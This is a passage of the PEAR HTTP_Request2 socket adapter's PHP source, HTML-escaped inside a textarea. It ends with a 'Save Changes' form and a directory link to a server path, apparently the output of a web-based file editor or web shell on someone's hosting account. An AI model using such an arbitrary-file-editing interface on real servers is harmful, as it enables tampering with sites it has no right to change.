        if (($port = $url-&gt;getPort()) &amp;&amp; $port != $defaultPort || $connect) {
            $host .= &#039;:&#039; . (empty($port)? $defaultPort: $port);
        }
        // Do not overwrite explicitly set &#039;Host&#039; header, see bug #16146
        if (!isset($headers[&#039;host&#039;])) {
            $headers[&#039;host&#039;] = $host;
        }

        if ($connect) {
            $requestUrl = $host;

        } else {
            if (!$this-&gt;request-&gt;getConfig(&#039;proxy_host&#039;) ||
                0 == strcasecmp($url-&gt;getScheme(), &#039;https&#039;)
            ) {
                $requestUrl = &#039;&#039;;
            } else {
                $requestUrl = $url-&gt;getScheme() . &#039;://&#039; . $host;
            }
            $path        = $url-&gt;getPath();
            $query       = $url-&gt;getQuery();
            $requestUrl .= (empty($path)? &#039;/&#039;: $path) . (empty($query)? &#039;&#039;: &#039;?&#039; . $query);
        }

        if (&#039;1.1&#039; == $this-&gt;request-&gt;getConfig(&#039;protocol_version&#039;) &amp;&amp;
            extension_loaded(&#039;zlib&#039;) &amp;&amp; !isset($headers[&#039;accept-encoding&#039;])
        ) {
            $headers[&#039;accept-encoding&#039;] = &#039;gzip, deflate&#039;;
        }
        if (($jar = $this-&gt;request-&gt;getCookieJar())
            &amp;&amp; ($cookies = $jar-&gt;getMatching($this-&gt;request-&gt;getUrl(), true))
        ) {
            $headers[&#039;cookie&#039;] = (empty($headers[&#039;cookie&#039;])? &#039;&#039;: $headers[&#039;cookie&#039;] . &#039;; &#039;) . $cookies;
        }

        $this-&gt;addAuthorizationHeader($headers, $host, $requestUrl);
        $this-&gt;addProxyAuthorizationHeader($headers, $requestUrl);
        $this-&gt;calculateRequestLength($headers);

        $headersStr = $this-&gt;request-&gt;getMethod() . &#039; &#039; . $requestUrl . &#039; HTTP/&#039; .
                      $this-&gt;request-&gt;getConfig(&#039;protocol_version&#039;) . &quot;\r\n&quot;;
        foreach ($headers as $name =&gt; $value) {
            $canonicalName = implode(&#039;-&#039;, array_map(&#039;ucfirst&#039;, explode(&#039;-&#039;, $name)));
            $headersStr   .= $canonicalName . &#039;: &#039; . $value . &quot;\r\n&quot;;
        }
        return $headersStr . &quot;\r\n&quot;;
    }

   /**
    * Sends the request body
    *
    * @throws   HTTP_Request2_MessageException
    */
    protected function writeBody()
    {
        if (in_array($this-&gt;request-&gt;getMethod(), self::$bodyDisallowed) ||
            0 == $this-&gt;contentLength
        ) {
            return;
        }

        $position   = 0;
        $bufferSize = $this-&gt;request-&gt;getConfig(&#039;buffer_size&#039;);
        while ($position &lt; $this-&gt;contentLength) {
            if (is_string($this-&gt;requestBody)) {
                $str = substr($this-&gt;requestBody, $position, $bufferSize);
            } elseif (is_resource($this-&gt;requestBody)) {
                $str = fread($this-&gt;requestBody, $bufferSize);
            } else {
                $str = $this-&gt;requestBody-&gt;read($bufferSize);
            }
            if (false === @fwrite($this-&gt;socket, $str, strlen($str))) {
                throw new HTTP_Request2_MessageException(&#039;Error writing request&#039;);
            }
            // Provide the length of written string to the observer, request #7630
            $this-&gt;request-&gt;setLastEvent(&#039;sentBodyPart&#039;, strlen($str));
            $position += strlen($str);
        }
        $this-&gt;request-&gt;setLastEvent(&#039;sentBody&#039;, $this-&gt;contentLength);
    }

   /**
    * Reads the remote server&#039;s response
    *
    * @return   HTTP_Request2_Response
    * @throws   HTTP_Request2_Exception
    */
    protected function readResponse()
    {
        $bufferSize = $this-&gt;request-&gt;getConfig(&#039;buffer_size&#039;);

        do {
            $response = new HTTP_Request2_Response(
                $this-&gt;readLine($bufferSize), true, $this-&gt;request-&gt;getUrl()
            );
            do {
                $headerLine = $this-&gt;readLine($bufferSize);
                $response-&gt;parseHeaderLine($headerLine);
            } while (&#039;&#039; != $headerLine);
        } while (in_array($response-&gt;getStatus(), array(100, 101)));

        $this-&gt;request-&gt;setLastEvent(&#039;receivedHeaders&#039;, $response);

        // No body possible in such responses
        if (HTTP_Request2::METHOD_HEAD == $this-&gt;request-&gt;getMethod() ||
            (HTTP_Request2::METHOD_CONNECT == $this-&gt;request-&gt;getMethod() &amp;&amp;
             200 &lt;= $response-&gt;getStatus() &amp;&amp; 300 &gt; $response-&gt;getStatus()) ||
            in_array($response-&gt;getStatus(), array(204, 304))
        ) {
            return $response;
        }

        $chunked = &#039;chunked&#039; == $response-&gt;getHeader(&#039;transfer-encoding&#039;);
        $length  = $response-&gt;getHeader(&#039;content-length&#039;);
        $hasBody = false;
        if ($chunked || null === $length || 0 &lt; intval($length)) {
            // RFC 2616, section 4.4:
            // 3. ... If a message is received with both a
            // Transfer-Encoding header field and a Content-Length header field,
            // the latter MUST be ignored.
            $toRead = ($chunked || null === $length)? null: $length;
            $this-&gt;chunkLength = 0;

            while (!feof($this-&gt;socket) &amp;&amp; (is_null($toRead) || 0 &lt; $toRead)) {
                if ($chunked) {
                    $data = $this-&gt;readChunked($bufferSize);
                } elseif (is_null($toRead)) {
                    $data = $this-&gt;fread($bufferSize);
                } else {
                    $data    = $this-&gt;fread(min($toRead, $bufferSize));
                    $toRead -= strlen($data);
                }
                if (&#039;&#039; == $data &amp;&amp; (!$this-&gt;chunkLength || feof($this-&gt;socket))) {
                    break;
                }

                $hasBody = true;
                if ($this-&gt;request-&gt;getConfig(&#039;store_body&#039;)) {
                    $response-&gt;appendBody($data);
                }
                if (!in_array($response-&gt;getHeader(&#039;content-encoding&#039;), array(&#039;identity&#039;, null))) {
                    $this-&gt;request-&gt;setLastEvent(&#039;receivedEncodedBodyPart&#039;, $data);
                } else {
                    $this-&gt;request-&gt;setLastEvent(&#039;receivedBodyPart&#039;, $data);
                }
            }
        }

        if ($hasBody) {
            $this-&gt;request-&gt;setLastEvent(&#039;receivedBody&#039;, $response);
        }
        return $response;
    }

   /**
    * Reads until either the end of the socket or a newline, whichever comes first
    *
    * Strips the trailing newline from the returned data, handles global
    * request timeout. Method idea borrowed from Net_Socket PEAR package.
    *
    * @param    int     buffer size to use for reading
    * @return   Available data up to the newline (not including newline)
    * @throws   HTTP_Request2_MessageException     In case of timeout
    */
    protected function readLine($bufferSize)
    {
        $line = &#039;&#039;;
        while (!feof($this-&gt;socket)) {
            if ($this-&gt;deadline) {
                stream_set_timeout($this-&gt;socket, max($this-&gt;deadline - time(), 1));
            }
            $line .= @fgets($this-&gt;socket, $bufferSize);
            $info  = stream_get_meta_data($this-&gt;socket);
            if ($info[&#039;timed_out&#039;] || $this-&gt;deadline &amp;&amp; time() &gt; $this-&gt;deadline) {
                $reason = $this-&gt;deadline
                          ? &#039;after &#039; . $this-&gt;request-&gt;getConfig(&#039;timeout&#039;) . &#039; second(s)&#039;
                          : &#039;due to default_socket_timeout php.ini setting&#039;;
                throw new HTTP_Request2_MessageException(
                    &quot;Request timed out {$reason}&quot;, HTTP_Request2_Exception::TIMEOUT
                );
            }
            if (substr($line, -1) == &quot;\n&quot;) {
                return rtrim($line, &quot;\r\n&quot;);
            }
        }
        return $line;
    }

   /**
    * Wrapper around fread(), handles global request timeout
    *
    * @param    int     Reads up to this number of bytes
    * @return   Data read from socket
    * @throws   HTTP_Request2_MessageException     In case of timeout
    */
    protected function fread($length)
    {
        if ($this-&gt;deadline) {
            stream_set_timeout($this-&gt;socket, max($this-&gt;deadline - time(), 1));
        }
        $data = fread($this-&gt;socket, $length);
        $info = stream_get_meta_data($this-&gt;socket);
        if ($info[&#039;timed_out&#039;] || $this-&gt;deadline &amp;&amp; time() &gt; $this-&gt;deadline) {
            $reason = $this-&gt;deadline
                      ? &#039;after &#039; . $this-&gt;request-&gt;getConfig(&#039;timeout&#039;) . &#039; second(s)&#039;
                      : &#039;due to default_socket_timeout php.ini setting&#039;;
            throw new HTTP_Request2_MessageException(
                &quot;Request timed out {$reason}&quot;, HTTP_Request2_Exception::TIMEOUT
            );
        }
        return $data;
    }

   /**
    * Reads a part of response body encoded with chunked Transfer-Encoding
    *
    * @param    int     buffer size to use for reading
    * @return   string
    * @throws   HTTP_Request2_MessageException
    */
    protected function readChunked($bufferSize)
    {
        // at start of the next chunk?
        if (0 == $this-&gt;chunkLength) {
            $line = $this-&gt;readLine($bufferSize);
            if (!preg_match(&#039;/^([0-9a-f]+)/i&#039;, $line, $matches)) {
                throw new HTTP_Request2_MessageException(
                    &quot;Cannot decode chunked response, invalid chunk length &#039;{$line}&#039;&quot;,
                    HTTP_Request2_Exception::DECODE_ERROR
                );
            } else {
                $this-&gt;chunkLength = hexdec($matches[1]);
                // Chunk with zero length indicates the end
                if (0 == $this-&gt;chunkLength) {
                    $this-&gt;readLine($bufferSize);
                    return &#039;&#039;;
                }
            }
        }
        $data = $this-&gt;fread(min($this-&gt;chunkLength, $bufferSize));
        $this-&gt;chunkLength -= strlen($data);
        if (0 == $this-&gt;chunkLength) {
            $this-&gt;readLine($bufferSize); // Trailing CRLF
        }
        return $data;
    }
}

?&gt;</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2F4xpips.net%2Fsecure%2Flibrary%2Fpear%2FHTTP%2FRequest2%2FAdapter'>⬅ Back to Directory</a>